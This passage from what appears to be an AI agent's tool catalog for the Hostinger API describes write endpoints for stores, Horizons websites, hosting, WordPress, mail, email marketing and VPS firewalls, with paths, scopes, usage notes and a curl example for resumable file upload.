/api/v1/hostinger/ecommerce/v1/stores/{store_id}/discounts. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_orders_by_order_id_cancel (write) — Cancel the order and optionally email the customer. Returns the updated order summary. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/orders/{order_id}/cancel. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_orders_by_order_id_fulfill (write) — Create a fulfilment for the order and attach tracking in one call. Omit items to fulfil every remaining unfulfilled item. Returns the updated order summary. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/orders/{order_id}/fulfill. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_payment_methods_manual (write) — Enable a manual payment method so the store can accept orders without an online payment provider. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/payment-methods/manual. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_payment_providers_by_provider_id_connect_link (write) — Create an onboarding link for connecting a payment gateway to the store. Returns the gateway onboarding URL for the merchant to open and a deep-link into the store admin. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/payment-providers/{provider_id}/connect-link. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_products_by_product_id_images (write) — Fetch a raster image (JPEG, PNG, GIF or WebP, max 15MB) from a URL and attach it to a product in a single call. Image downloads require HTTPS on port 443 without embedded credentials. At most one redirect is allowed, and its destination must meet the same requirements. Private or reserved network destinations, unsupported URLs and longer redirect chains are rejected. The image is virus-scanned and validated by content, then stored on the CDN. Set is_thumbnail to make it the product's primary image. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}/images. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_products_by_product_id_images_upload_url (write) — Returns a signed URL to upload a product image to (multipart/form-data POST). Then call the attach-image endpoint with the returned object_name to scan and attach it to the product. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}/images/upload-url. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_products_by_product_id_variants (write) — Add a variant to a product along one or more option dimensions (e.g. Size, Color). Options missing from the product are created automatically; provide a value for every option the product already has. Prices are integers in the smallest currency unit and default to the store currency. Returns the created variant. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/{product_id}/variants. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_products_digital (write) — Create a published digital product with a single variant and an optional external download link. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/digital. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_products_physical (write) — Create a published physical product with a single variant priced in the store currency. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/products/physical. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_sales_channels (write) — Create a sales channel for a store. A "custom" channel is headless: build your own frontend and keep your catalog, orders, shipping and payments in sync through the Ecommerce API. A "quick-link" channel is a hosted one-page store whose handle is auto-generated. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/sales-channels. Scopes: api. hostinger_post_api_ecommerce_v1_stores_by_store_id_shipping (write) — Set the flat-rate shipping price for a store, creating the shipping zone if it does not exist yet. POST /api/v1/hostinger/ecommerce/v1/stores/{store_id}/shipping. Scopes: api. hostinger_post_api_horizons_v1_websites (write) — Create new Hostinger Horizons website from the given message.\n Use this tool when user asks you to create a website, landing page, blog or any other type of application.\n This tool initiates the website creation process and returns a website URL and ID. The generation happens asynchronously.\n After invoking this tool, your chat reply must be EXACTLY 1 sentence summarizing that Hostinger Horizons is now creating their website and it will be ready in a few minutes and you should provide the website URL to the user immediately Do not write code.\n\nTo edit afterwards, use the `Edit website` tool with the returned website ID, or the user can go to Hostinger Horizons interface in the provided website URL. If the tool call fails with an error, you should provide a clear explanation of the error and do not generate code yourself in the chat. \n TECHNOLOGY STACK CONSTRAINTS (STRICTLY ENFORCED):\n The environment is limited to the following technologies. You MUST NOT use, suggest, or implement any technology outside this list:\n \n - Language: JavaScript ONLY. - Languages like TypeScript, Rust, Python, Java, PHP, etc., are STRICTLY PROHIBITED.\n - Framework: React.\n - Navigation: React Router.\n - Styling: TailwindCSS.\n - Components: shadcn/ui (built with @radix-ui primitives).\n - Icons: Lucide React.\n - Animations: Framer Motion.\n \n BACKEND & DATA STORAGE:\n - Horizons integrated backend is the EXCLUSIVE solution for persistent data storage, authentication, and database needs.\n - Local databases (SQLite, MySQL, etc.) are STRICTLY PROHIBITED.\n - Third-party services (Firebase, AWS Amplify) are allowed ONLY if explicitly requested by the user.\n \n MAPS:\n - OpenStreetMap is the default provider.\n - Alternative providers (Google Maps, Mapbox) are allowed ONLY if explicitly requested by the user.\n. POST /api/v1/hostinger/horizons/v1/websites. Scopes: api. hostinger_post_api_horizons_v1_websites_by_websiteid_clone (write) — Clone a Hostinger Horizons website into a new website.\n Use this tool when the user wants a copy of an existing website, for example to try out changes without touching the original.\n This tool returns the ID and URL of the newly created copy. The original website is left untouched.\n To edit the copy, use the `Edit website` tool with the returned website ID, or the user can open the provided website URL in Hostinger Horizons interface. POST /api/v1/hostinger/horizons/v1/websites/{websiteId}/clone. Scopes: api. hostinger_post_api_horizons_v1_websites_by_websiteid_messages (write) — Edit an existing Hostinger Horizons website with a follow-up message.\n Use this tool when the user wants to change, extend or fix a website that already exists.\n This tool queues the requested changes and returns the website URL and ID. The changes are applied asynchronously.\n After invoking this tool, your chat reply must be EXACTLY 1 sentence summarizing that Hostinger Horizons is now applying the requested changes and they will be ready in a few minutes, and you should provide the website URL to the user immediately. Do not write code.\n If the tool call fails with an error, you should provide a clear explanation of the error and do not generate code yourself in the chat. POST /api/v1/hostinger/horizons/v1/websites/{websiteId}/messages. Scopes: api. hostinger_post_api_horizons_v1_websites_by_websiteid_publish (write) — Publish a Hostinger Horizons website so its latest changes go live.\n Use this tool when the user asks to publish, deploy or make their website live.\n This tool starts the publish process and returns the URL the website will be live on. Publishing happens asynchronously and takes a few minutes.\n After invoking this tool, your chat reply must be EXACTLY 1 sentence summarizing that the website is being published and you should provide the published URL to the user immediately. POST /api/v1/hostinger/horizons/v1/websites/{websiteId}/publish. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_cron_jobs (write) — Creates a cron job for the specified account from a schedule expression and a command. Returns the created cron job, including its uid, which is required to delete the cron job or fetch its output. POST /api/v1/hostinger/hosting/v1/accounts/{username}/cron-jobs. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_databases (write) — Creates a database with a database user and password for the specified account. The database name and user are automatically prefixed with the account username when needed. POST /api/v1/hostinger/hosting/v1/accounts/{username}/databases. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_databases_by_name_remote_connections (write) — Allows a remote host to connect to the specified database. Provide an IPv4/IPv6 address, or "%" to allow any host. The database name must be the full name returned by the list databases endpoint. POST /api/v1/hostinger/hosting/v1/accounts/{username}/databases/{name}/remote-connections. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_deploy (write) — Deploy a static application from an archive file. WARNING: this overwrites the website's existing contents and cannot be undone — verify this is intended before calling this endpoint. This endpoint allows you to deploy a static application from an archive file that has been uploaded to the website's directory. This only works for static sites (pre-built HTML/CSS/JS with no build step). For Node.js applications, use `Create NodeJS build from archive` instead, or `Start Node.js build` if the archive is already uploaded. For WordPress sites, use `Import WordPress website`. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/deploy. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_builds (write) — Start a Node.js build process using files already present on the website's file storage. WARNING: on success this overwrites the website's existing contents and cannot be undone — verify this is intended before calling this endpoint. With `source_type` `archive`, `source_options.archive_path` must point to an existing archive file on the server (relative to the website document root). Use the `Generate Upload URL` endpoint to obtain credentials and upload the archive first. To auto-detect build settings from an archive before starting, first call the `Get Node.js Build Settings from Archive` endpoint. With `source_type` `git`, `source_options` carries `owner`, `repository`, `branch` and `installation_uuid`. Take the installation from `List Git installations` and the owner and repository from `List Git installation repositories`; the branch is cloned at its current head. The installation must belong to the same customer as the website. The returned build `uuid` can be used to poll progress and retrieve logs via the `Get Node.js Build Logs` endpoint. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/builds. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_server_restart (write) — Restarts the Node.js server process for the website. Does not rebuild or redeploy the application. Use it to apply environment or configuration changes, or to recover a hung application. Only applicable to server-side applications (Express, Next.js, NestJS, etc.). Static front-end apps (React, Vue, Vite) have no persistent server process, so restarting them has no effect. Returns success even when the website has no server process to restart. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/server/restart. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_nodejs_vulnerabilities_patch (write) — Patches the selected Node.js vulnerabilities by updating the affected package versions in `package.json` and opening a GitHub pull request in the connected repository. The customer reviews and merges the pull request; merging triggers the automatic deployment. Auto-fix is only available for websites deployed from a connected GitHub repository. Websites deployed from an archive have no auto-fix path and return a 404. The Hostinger GitHub App needs write access to the repository; without it the request fails with a 403 explaining the missing permission. Only vulnerabilities with `is_patchable` set to `true` can be patched. Non-patchable IDs in the selection are skipped; the pull request covers the patchable subset, listed in `patched_vulnerability_ids`. Selections without any patchable vulnerability are rejected with a 422. Only one patch pull request can be open at a time per website; close or merge it before patching again. Available on Business and Cloud Hosting plans. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/nodejs/vulnerabilities/patch. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_parked_domains (write) — Create a parked or alias domain for the selected website. Provide a domain name or IP address to park on the website so it serves the same content as the parent domain. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/parked-domains. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_redirects (write) — Creates a redirect from a URL on the selected website to another URL or IP address. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/redirects. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_ssl_setup (write) — Requests a lifetime SSL certificate for the website. The installation runs in the background; `Get SSL status` reports `active` or `failed` when it ends. An `active` lifetime certificate does not block the request: a new installation is requested, which is how a certificate is reinstalled. Returns 422 for free subdomains (their certificate is managed by the platform), while an installation is `installing` or `waiting_for_retry`, when the website's certificate was revoked (it cannot be reissued), and when an uploaded custom certificate is installed; that one has to be uninstalled first. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/ssl/setup. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_subdomains (write) — Create a new subdomain for the selected website. Provide a subdomain prefix and, optionally, a custom directory or the website public directory to use as the subdomain root. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/subdomains. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_wordpress_import (write) — Import WordPress website to the specified domain. WARNING: this overwrites the website's existing contents and cannot be undone — verify this is intended before calling this endpoint. This endpoint allows you to import a WordPress website from archive and database files that have been uploaded to the website's directory. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/wordpress/import. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_wordpress_plugins_deploy (write) — Deploy a WordPress plugin from an already uploaded directory. This endpoint allows you to deploy a WordPress plugin that has been uploaded to the website's directory. The plugin will be activated and made available in the WordPress admin panel. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/wordpress/plugins/deploy. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_websites_by_domain_wordpress_themes_deploy (write) — Deploy a WordPress theme from an already uploaded directory. This endpoint allows you to deploy a WordPress theme that has been uploaded to the website's directory. The theme can be optionally activated after deployment. POST /api/v1/hostinger/hosting/v1/accounts/{username}/websites/{domain}/wordpress/themes/deploy. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_litespeed_cache_purge (write) — Purge the LiteSpeed Cache for the specified WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/litespeed-cache/purge. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_login_links (write) — Create temporary auto-login links for the specified WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/login/links. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins_activate (write) — Activate an installed plugin on a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the activation job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins/activate. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins_deactivate (write) — Deactivate an installed plugin on a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the deactivation job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins/deactivate. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins_hostinger_update (write) — Update a Hostinger plugin to its latest version on a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the update job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins/hostinger/update. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins_install (write) — Install one or more plugins on an existing WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). Use GET /api/hosting/v1/wordpress/plugins to discover the plugin slugs available for installation. This operation is asynchronous: a successful response only means the install job has been queued, not that the plugins are ready. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins/install. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins_uninstall (write) — Uninstall one or more plugins from a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the uninstall job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins/uninstall. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_plugins_update (write) — Update one or more installed plugins to their latest version on a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the update job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/plugins/update. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_themes_activate (write) — Activate an installed theme on a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the activation job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/themes/activate. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_themes_install (write) — Install a theme on an existing WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). When the theme is one of the Hostinger themes (hostinger-blog, hostinger-affiliate-theme, hostinger-ai-theme), the optional `palette`, `layout`, and `font` fields are forwarded to the custom installer (defaults: palette1, layout1, default). For any other theme they are ignored. This operation is asynchronous: a successful response only means the install job has been queued, not that the theme is ready. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/themes/install. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_themes_uninstall (write) — Uninstall one or more themes from a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the uninstall job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/themes/uninstall. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_themes_update (write) — Update one or more installed themes to their latest version on a WordPress installation. Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the update job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/themes/update. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_by_software_update (write) — Update the WordPress core for the specified installation (minor update or a specific version). Provide the WordPress installation (software) identifier in the path. It can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). This operation is asynchronous: a successful response only means the update job has been queued. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/{software}/update. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_installations (write) — Install WordPress on an existing website. The website must already exist before calling this endpoint. To create a new website first, use POST /api/hosting/v1/websites and poll GET /api/hosting/v1/websites until it appears. Call GET /api/hosting/v1/wordpress/installations filtered by username and domain before proceeding to check whether WordPress is already installed on the target domain/path. If WordPress already exists and `overwrite` is false (the default), the async job will fail. This operation is asynchronous: a successful response only means the install job has been queued, not that WordPress is ready. Installation typically takes 1-2 minutes. Poll GET /api/hosting/v1/wordpress/installations filtered by username and domain to track progress. When the installation appears in that list, WordPress is ready. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/installations. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_installations_check_is_valid (write) — Check whether one or more WordPress installations are valid and working correctly. Detects broken installations caused by missing files, broken plugins, themes and similar issues. Provide the WordPress installation (software) identifiers in the body. They can be obtained from GET /api/hosting/v1/wordpress/installations (the `id` field). POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/installations/check-is-valid. Scopes: api. hostinger_post_api_hosting_v1_accounts_by_username_wordpress_installations_detect (write) — Trigger a background scan to detect WordPress installations for the account. This operation is asynchronous: a successful response only means the scan has been queued. Poll GET /api/hosting/v1/wordpress/installations to fetch the detected installations once the scan completes. POST /api/v1/hostinger/hosting/v1/accounts/{username}/wordpress/installations/detect. Scopes: api. hostinger_post_api_hosting_v1_domains_free_subdomains (write) — Generate a unique free subdomain that can be used for hosting services without purchasing custom domains. Free subdomains allow you to start using hosting services immediately and you can always connect a custom domain to your site later. POST /api/v1/hostinger/hosting/v1/domains/free-subdomains. Scopes: api. hostinger_post_api_hosting_v1_domains_verify_ownership (write) — Verify ownership of a single domain and return the verification status. Use this endpoint to check if a domain is accessible for you before using it for new websites. If the domain is accessible, the response will have `is_accessible: true`. If not, add the given TXT record to your domain's DNS records and try verifying again. Keep in mind that it may take up to 10 minutes for new TXT DNS records to propagate. Skip this verification when using Hostinger's free subdomains (*.hostingersite.com). POST /api/v1/hostinger/hosting/v1/domains/verify-ownership. Scopes: api. hostinger_post_api_hosting_v1_files_upload_urls (write) — Generate a file browser upload URL with authentication credentials for uploading files directly to a website's file storage. Returns `url`, `auth_key` and `rest_auth_key`. Use these to upload a file to the website's `public_html` directory via the TUS resumable upload protocol (TUS 1.0.0). Send `X-Auth: {auth_key}` and `X-Auth-Rest: {rest_auth_key}` headers on every request below. 1. Create the upload: `POST` to `{url}/{relative_file_path}?override=true` with headers `upload-length: {file size in bytes}` and `upload-offset: 0`. Expect `201 Created`. 2. Upload the file: send the file bytes to the same location (any TUS 1.0.0 client, or `PATCH` requests with an `upload-offset` header tracking progress) until complete. `relative_file_path` is the destination path inside `public_html`, e.g. `app.zip`. Instead of a TUS client, plain `curl` also works: ``` FILE=app.zip SIZE=$(stat -f%z "$FILE") # stat -c%s on Linux curl -i -X POST "{url}/${FILE}?override=true" \ -H "X-Auth: {auth_key}" \ -H "X-Auth-Rest: {rest_auth_key}" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: ${SIZE}" \ -H "Upload-Offset: 0" -> 201 Created: curl -i -X PATCH "{url}/${FILE}?override=true" \ -H "X-Auth: {auth_key}" \ -H "X-Auth-Rest: {rest_auth_key}" \ -H "Tus-Resumable: 1.0.0" \ -H "Content-Type: application/offset+octet-stream" \ -H "Upload-Offset: 0" \ --data-binary "@${FILE}" -> 204 No Content, Upload-Offset response header equals SIZE when done: ```. POST /api/v1/hostinger/hosting/v1/files/upload-urls. Scopes: api. hostinger_post_api_hosting_v1_websites (write) — Create a new website for the authenticated client. Provide the domain name and associated order ID to create a new website. The datacenter_code parameter is required when creating the first website on a new hosting plan - this will set up and configure new hosting account in the selected datacenter. Subsequent websites will be hosted on the same datacenter automatically. Website creation takes up to a few minutes to complete. Check the websites list endpoint to see when your new website becomes available. POST /api/v1/hostinger/hosting/v1/websites. Scopes: api. hostinger_post_api_mail_v1_catchalls_by_catchallid_confirmation_resend (write) — Resend the confirmation email to the mailbox address of an unconfirmed catch-all. POST /api/v1/hostinger/mail/v1/catchalls/{catchallId}/confirmation/resend. Scopes: api. hostinger_post_api_mail_v1_forwarders_by_forwarderid_confirmation_resend (write) — Resend the confirmation email to the destination address of an unconfirmed forwarder. POST /api/v1/hostinger/mail/v1/forwarders/{forwarderId}/confirmation/resend. Scopes: api. hostinger_post_api_mail_v1_mailboxes_by_mailboxid_aliases (write) — Create an alias for the given mailbox. The alias address is formed from the given local part and the domain of the mailbox. Messages sent to the alias are delivered to the mailbox. POST /api/v1/hostinger/mail/v1/mailboxes/{mailboxId}/aliases. Scopes: api. hostinger_post_api_mail_v1_mailboxes_by_mailboxid_autoreplies (write) — Create an automatic reply for the given mailbox. A mailbox can have only one autoreply. Omit `starts_at` to activate the autoreply immediately and omit `ends_at` to keep it active indefinitely. POST /api/v1/hostinger/mail/v1/mailboxes/{mailboxId}/autoreplies. Scopes: api. hostinger_post_api_mail_v1_mailboxes_by_mailboxid_catchalls (write) — Create a catch-all that routes all messages sent to unknown addresses of the domain to the given mailbox. The mailbox address receives a confirmation email and the catch-all becomes active only after it is confirmed. A domain can have only one catch-all. POST /api/v1/hostinger/mail/v1/mailboxes/{mailboxId}/catchalls. Scopes: api. hostinger_post_api_mail_v1_mailboxes_by_mailboxid_forwarders (write) — Create a forwarder from the given mailbox to the destination address. The destination receives a confirmation email and forwarding becomes active only after it is confirmed. POST /api/v1/hostinger/mail/v1/mailboxes/{mailboxId}/forwarders. Scopes: api. hostinger_post_api_mail_v1_mailboxes_by_mailboxid_webhooks (write) — Create a webhook for the given mailbox. The generated secret is returned only in this response and is sent as a bearer token with every delivery. POST /api/v1/hostinger/mail/v1/mailboxes/{mailboxId}/webhooks. Scopes: api. hostinger_post_api_mail_v1_orders_by_orderid_api_tokens (write) — Create an API token for the given mail order. The token grants access to the Hostinger Email API (https://api.mail.hostinger.com/), where you can provision and manage the mailboxes it is scoped to. The plaintext token is returned only in this response, never again. A maximum of 10 tokens can exist per order. Use `scope.has_all_mailboxes` to cover all current and future mailboxes, or list specific mailboxes in `scope.mailbox_ids`. Changes the account's Mail API tokens: a revoked token stops working immediately for everything that uses it. POST /api/v1/hostinger/mail/v1/orders/{orderId}/api-tokens. Scopes: api. hostinger_post_api_mail_v1_orders_by_orderid_mailboxes (write) — Create a mailbox under the given mail order. The full email address is composed from the given local part and the domain of the order. POST /api/v1/hostinger/mail/v1/orders/{orderId}/mailboxes. Scopes: api. hostinger_post_api_mail_v1_webhooks_by_webhookid_regenerate_secret (write) — Regenerate the secret of a webhook. The previous secret is immediately invalidated. The new secret is returned only in this response and is sent as a bearer token with every delivery. POST /api/v1/hostinger/mail/v1/webhooks/{webhookId}/regenerate-secret. Scopes: api. hostinger_post_api_mail_v1_webhooks_by_webhookid_test (write) — Send a test delivery to the webhook URL and return the result. Test requests are rate limited upstream. POST /api/v1/hostinger/mail/v1/webhooks/{webhookId}/test. Scopes: api. hostinger_post_api_reach_v1_contacts (write) — Create a new contact in the email marketing system. This endpoint allows you to create a new contact with basic information like name, email, and surname. If double opt-in is enabled, the contact will be created with a pending status and a confirmation email will be sent. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. POST /api/v1/hostinger/reach/v1/contacts. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_campaigns (write) — Create a campaign in a profile. The campaign is created as a draft, so nothing is sent and no contact is touched. It has no audience yet either - targeting and scheduling are not part of this request, the draft is finished and sent from the Reach interface. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/campaigns. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_contacts (write) — Create a new contact in the email marketing system. This endpoint allows you to create a new contact with basic information like name, email, and surname. If double opt-in is enabled, the contact will be created with a pending status and a confirmation email will be sent. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_contacts_bulk (write) — Create many contacts in a profile in a single call. The contacts are imported in the background, so a success response means the import was accepted rather than finished. Contacts whose email already exists in the profile are left as they are. If double opt-in is enabled, new contacts start off pending and are sent a confirmation email. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/bulk. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_contacts_fields (write) — Define a new custom contact field in a profile. The `slug` is derived from the label and, like the field type, cannot be changed later. Use the returned uuid to set values on contacts. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/contacts/fields. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_segmentation_filters_contacts (write) — Preview the contacts matching a set of conditions without saving a segment. The body is the same set of conditions accepted when creating or updating a segment, so this is how to check who a filter reaches, and how many, before persisting it. Nothing is stored and no contact is modified. Call the segment filter attributes endpoint first to discover the valid `attribute`, `operator` and `value` combinations. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/filters/contacts. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_segmentation_segments (write) — Create a segment in a profile. A segment is a saved set of conditions rather than a fixed list, so its membership changes as contacts change. Creating one does not modify any contact. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/segmentation/segments. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_tags (write) — Create tags in a profile. Names that already exist in the profile are not duplicated: the existing tag is returned instead, so the call is safe to repeat. Every tag in the request is returned, whether it was created now or already existed. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_tags_by_taguuid_contacts (write) — Assign a tag to many contacts at once. Pass `contact_uuids` to target specific contacts, or `all_contacts` to target every contact in the profile. The work is queued, so a success response means it was accepted rather than finished. Contacts that already carry the tag are left alone. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags/{tagUuid}/contacts. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_tags_by_taguuid_contacts_by_contactuuid (write) — Assign a tag to a single contact. Unlike the bulk endpoint this is applied immediately rather than queued. Assigning a tag the contact already carries succeeds without duplicating it. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/tags/{tagUuid}/contacts/{contactUuid}. Scopes: api. hostinger_post_api_reach_v1_profiles_by_profileuuid_templates (write) — Create an email template in a profile. The template holds the HTML body a campaign reuses, so it can be created before any campaign exists. Only the template metadata comes back - keep the returned `uuid` to reference it as the `template_uuid` of a campaign. POST /api/v1/hostinger/reach/v1/profiles/{profileUuid}/templates. Scopes: api. hostinger_post_api_reach_v1_segmentation_segments (write) — Create a new contact segment. This endpoint allows creating a new contact segment that can be used to organize contacts. The segment can be configured with specific criteria like email, name, subscription status, etc. Deprecated. This endpoint cannot target a profile, so it always falls back to the client's default profile and cannot create segments in any other profile. Use `POST /api/reach/v1/profiles/{profileUuid}/segmentation/segments` instead. DEPRECATED by Hostinger; it still answers, but prefer the current replacement in the same product family. POST /api/v1/hostinger/reach/v1/segmentation/segments. Scopes: api. hostinger_post_api_vps_v1_firewall (write) — Create a new firewall. Use this endpoint to set up new firewall configurations for VPS security. POST /api/v1/hostinger/vps/v1/firewall. Scopes: api. hostinger_post_api_vps_v1_firewall_by_firewallid_activate_by_virtualmachineid (write) — Activate a firewall for a specified virtual machine. Only one firewall can be active for a virtual machine at a time. Use this endpoint to apply firewall rules to VPS instances. POST /api/v1/hostinger/vps/v1/firewall/{firewallId}/activate/{virtualMachineId}. Scopes: api. hostinger_post_api_vps_v1_firewall_by_firewallid_deactivate_by_virtualmachineid (write) — Deactivate a firewall for a specified virtual machine. Use this endpoint to remove firewall protection from VPS instances. POST /api/v1/hostinger/vps/v1/firewall/{firewallId}/deactivate/{virtualMachineId}. Scopes: api. hostinger_post_api_vps_v1_firewall_by_firewallid_rules (write) — Create new firewall rule for a specified firewall. By default, the firewall drops all incoming traffic, which means you must add accept rules for all ports you want to use. Any virtual machine that has this firewall activated will lose sync with the firewall and will have to be synced again manually. Use this endpoint to add new security rules to firewalls. POST /api/v1/hostinger/vps/v1/firewall/{firewallId}/rules. Scopes: api. hostinger_post_api_vps_v1_firewall_by_firewallid_sync (write) — Sync a firewall's rules to every virtual machine it's assigned to. Firewall can lose sync with a virtual machine if the firewall has new rules added, removed or updated. Use this endpoint to apply updated firewall rules to all VPS instances assigned to the firewall. POST /api/v1/hostinger/vps/v1/firewall/{firewallId}/sync. Scopes: api. hostinger_post_api_vps_v1_firewall_by_firewallid_sync_by_virtualmachineid (write) — Deprecated: use `POST /api/vps/v1/firewall/{firewallId}/sync` instead, which syncs the firewall to all virtual machines assigned to it. Sync a firewall for a specified virtual machine. 